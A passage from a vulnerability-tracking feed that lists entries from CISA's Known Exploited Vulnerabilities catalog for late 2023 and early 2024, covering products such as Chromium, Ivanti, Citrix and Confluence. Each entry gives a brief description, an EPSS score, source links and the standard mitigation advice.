CISA added Feb 9, 2024; federal due date Feb 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2023-4762
Google Chromium V8 Type Confusion Vulnerability (Feb 6, 2024).
Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4762&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-4762: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4762&date=2026-10-25
CISA added this entry on 2024-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 6, 2024; federal due date Feb 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2022-48618
Apple Multiple Products Memory Corruption Vulnerability (Jan 31, 2024).
Apple iOS, iPadOS, macOS, tvOS, and watchOS contain a time-of-check/time-of-use (TOCTOU) memory corruption vulnerability that allows an attacker with read and write capabilities to bypass Pointer Authentication.
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-48618&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-48618: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-48618&date=2026-10-25
CISA added this entry on 2024-01-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 31, 2024; federal due date Feb 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Connect Secure, Policy Secure, and Neurons Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2024-21893
Ivanti Connect Secure, Policy Secure, and Neurons Server-Side Request Forgery (SSRF) Vulnerability (Jan 31, 2024).
Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure), Ivanti Policy Secure, and Ivanti Neurons contain a server-side request forgery (SSRF) vulnerability in the SAML component that allows an attacker to access certain restricted resources without authentication.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21893&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21893&date=2026-10-25
CISA added this entry on 2024-01-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 31, 2024; federal due date Feb 2, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Atlassian Confluence Data Center and Server Template Injection Vulnerability
https://kevwire.com/record/CVE-2023-22527
Atlassian Confluence Data Center and Server Template Injection Vulnerability (Jan 24, 2024).
Atlassian Confluence Data Center and Server contain an unauthenticated OGNL template injection vulnerability that can lead to remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22527&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-22527: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22527&date=2026-10-25
CISA added this entry on 2024-01-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 24, 2024; federal due date Feb 14, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Type Confusion Vulnerability
https://kevwire.com/record/CVE-2024-23222
Apple Multiple Products WebKit Type Confusion Vulnerability (Jan 23, 2024).
Apple iOS, iPadOS, macOS, tvOS, and Safari WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 10.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23222&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-23222: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23222&date=2026-10-25
CISA added this entry on 2024-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 23, 2024; federal due date Feb 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2023-34048
VMware vCenter Server Out-of-Bounds Write Vulnerability (Jan 22, 2024).
VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol that allows an attacker to conduct remote code execution.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-34048&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-34048: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-34048&date=2026-10-25
CISA added this entry on 2024-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 22, 2024; federal due date Feb 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2023-35082
Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core Authentication Bypass Vulnerability (Jan 18, 2024).
Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core contain an authentication bypass vulnerability that allows unauthorized users to access restricted functionality or resources of the application.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35082&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-35082: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35082&date=2026-10-25
CISA added this entry on 2024-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 18, 2024; federal due date Feb 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Memory Access Vulnerability
https://kevwire.com/record/CVE-2024-0519
Google Chromium V8 Out-of-Bounds Memory Access Vulnerability (Jan 17, 2024).
Google Chromium V8 Engine contains an out-of-bounds memory access vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 3.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-0519&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-0519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-0519&date=2026-10-25
CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 17, 2024; federal due date Feb 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-6549
Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability (Jan 17, 2024).
Citrix NetScaler ADC and NetScaler Gateway contain a buffer overflow vulnerability that allows for a denial-of-service when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.
EPSS 57.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6549&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-6549: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6549&date=2026-10-25
CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 17, 2024; federal due date Feb 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability
https://kevwire.com/record/CVE-2023-6548
Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability (Jan 17, 2024).
Citrix NetScaler ADC and NetScaler Gateway contain a code injection vulnerability that allows for authenticated remote code execution on the management interface with access to NSIP, CLIP, or SNIP.
EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6548&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-6548: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6548&date=2026-10-25
CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 17, 2024; federal due date Jan 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Laravel Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2018-15133
Laravel Deserialization of Untrusted Data Vulnerability (Jan 16, 2024).
Laravel Framework contains a deserialization of untrusted data vulnerability, allowing for remote command execution. This vulnerability may only be exploited if a malicious user has accessed the application encryption key (APP_KEY environment variable).
EPSS 76.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-15133&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-15133: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-15133&date=2026-10-25
CISA added this entry on 2024-01-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 16, 2024; federal due date Feb 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-29357
Microsoft SharePoint Server Privilege Escalation Vulnerability (Jan 10, 2024).
Microsoft SharePoint Server contains an unspecified vulnerability that allows an unauthenticated attacker, who has gained access to spoofed JWT authentication tokens, to use them for executing a network attack. This attack bypasses authentication, enabling the attacker to gain administrator privileges.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29357&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-29357: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29357&date=2026-10-25
CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2024; federal due date Jan 31, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Connect Secure and Policy Secure Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2023-46805
Ivanti Connect Secure and Policy Secure Authentication Bypass Vulnerability (Jan 10, 2024).
Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure gateways contain an authentication bypass vulnerability in the web component that allows an attacker to access restricted resources by bypassing control checks. This vulnerability can be leveraged in conjunction with CVE-2024-21887, a command injection vulnerability.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46805&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-46805: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46805&date=2026-10-25
CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2024; federal due date Jan 22, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Connect Secure and Policy Secure Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-21887
Ivanti Connect Secure and Policy Secure Command Injection Vulnerability (Jan 10, 2024).
Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure contain a command injection vulnerability in the web components of these products, which can allow an authenticated administrator to send crafted requests to execute code on affected appliances. This vulnerability can be leveraged in conjunction with CVE-2023-46805, an authenticated bypass issue.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21887&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-21887: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21887&date=2026-10-25
CISA added this entry on 2024-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2024; federal due date Jan 22, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Joomla! Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2023-23752
Joomla! Improper Access Control Vulnerability (Jan 8, 2024).
Joomla! contains an improper access control vulnerability that allows unauthorized access to webservice endpoints.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23752&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-23752: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23752&date=2026-10-25
CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DSL-2750B Devices Command Injection Vulnerability
https://kevwire.com/record/CVE-2016-20017
D-Link DSL-2750B Devices Command Injection Vulnerability (Jan 8, 2024).
D-Link DSL-2750B devices contain a command injection vulnerability that allows remote, unauthenticated command injection via the login.cgi cli parameter.
EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-20017&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-20017: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-20017&date=2026-10-25
CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-41990
Apple Multiple Products Code Execution Vulnerability (Jan 8, 2024).
Apple iOS, iPadOS, macOS, tvOS, and watchOS contain an unspecified vulnerability that allows for code execution when processing a font file.
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41990&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41990&date=2026-10-25
CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Superset Insecure Default Initialization of Resource Vulnerability
https://kevwire.com/record/CVE-2023-27524
Apache Superset Insecure Default Initialization of Resource Vulnerability (Jan 8, 2024).
Apache Superset contains an insecure default initialization of a resource vulnerability that allows an attacker to authenticate and access unauthorized resources on installations that have not altered the default configured SECRET_KEY according to installation instructions.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27524&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-27524: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27524&date=2026-10-25
CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-29300
Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Jan 8, 2024).
Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29300&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-29300: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29300&date=2026-10-25
CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-38203
Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Jan 8, 2024).
Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for code execution.
EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38203&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-38203: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38203&date=2026-10-25
CISA added this entry on 2024-01-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 8, 2024; federal due date Jan 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Spreadsheet::ParseExcel Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-7101
Spreadsheet::ParseExcel Remote Code Execution Vulnerability (Jan 2, 2024).
Spreadsheet::ParseExcel contains a remote code execution vulnerability due to passing unvalidated input from a file into a string-type “eval”. Specifically, the issue stems from the evaluation of Number format strings within the Excel parsing logic.
EPSS 19.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-7101&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-7101: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-7101&date=2026-10-25
CISA added this entry on 2024-01-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 2, 2024; federal due date Jan 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium WebRTC Heap Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-7024
Google Chromium WebRTC Heap Buffer Overflow Vulnerability (Jan 2, 2024).
Google Chromium WebRTC, an open-source project providing web browsers with real-time communication, contains a heap buffer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could impact web browsers using WebRTC, including but not limited to Google Chrome.
EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-7024&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-7024: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-7024&date=2026-10-25
CISA added this entry on 2024-01-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 2, 2024; federal due date Jan 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### FXC AE1021, AE1021PE OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-49897
FXC AE1021, AE1021PE OS Command Injection Vulnerability (Dec 21, 2023).
FXC AE1021 and AE1021PE contain an OS command injection vulnerability that allows authenticated users to execute commands via a network.
EPSS 50.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-49897&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-49897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-49897&date=2026-10-25
CISA added this entry on 2023-12-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 21, 2023; federal due date Jan 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP VioStor NVR OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-47565
QNAP VioStor NVR OS Command Injection Vulnerability (Dec 21, 2023).
QNAP VioStar NVR contains an OS command injection vulnerability that allows authenticated users to execute commands via a network.
EPSS 73.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-47565&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-47565: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-47565&date=2026-10-25
CISA added this entry on 2023-12-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 21, 2023; federal due date Jan 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Unitronics Vision PLC and HMI Insecure Default Password Vulnerability
https://kevwire.com/record/CVE-2023-6448
Unitronics Vision PLC and HMI Insecure Default Password Vulnerability (Dec 11, 2023).
Unitronics Vision Series PLCs and HMIs ship with an insecure default password, which if left unchanged, can allow attackers to execute remote commands.
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6448&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-6448: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6448&date=2026-10-25
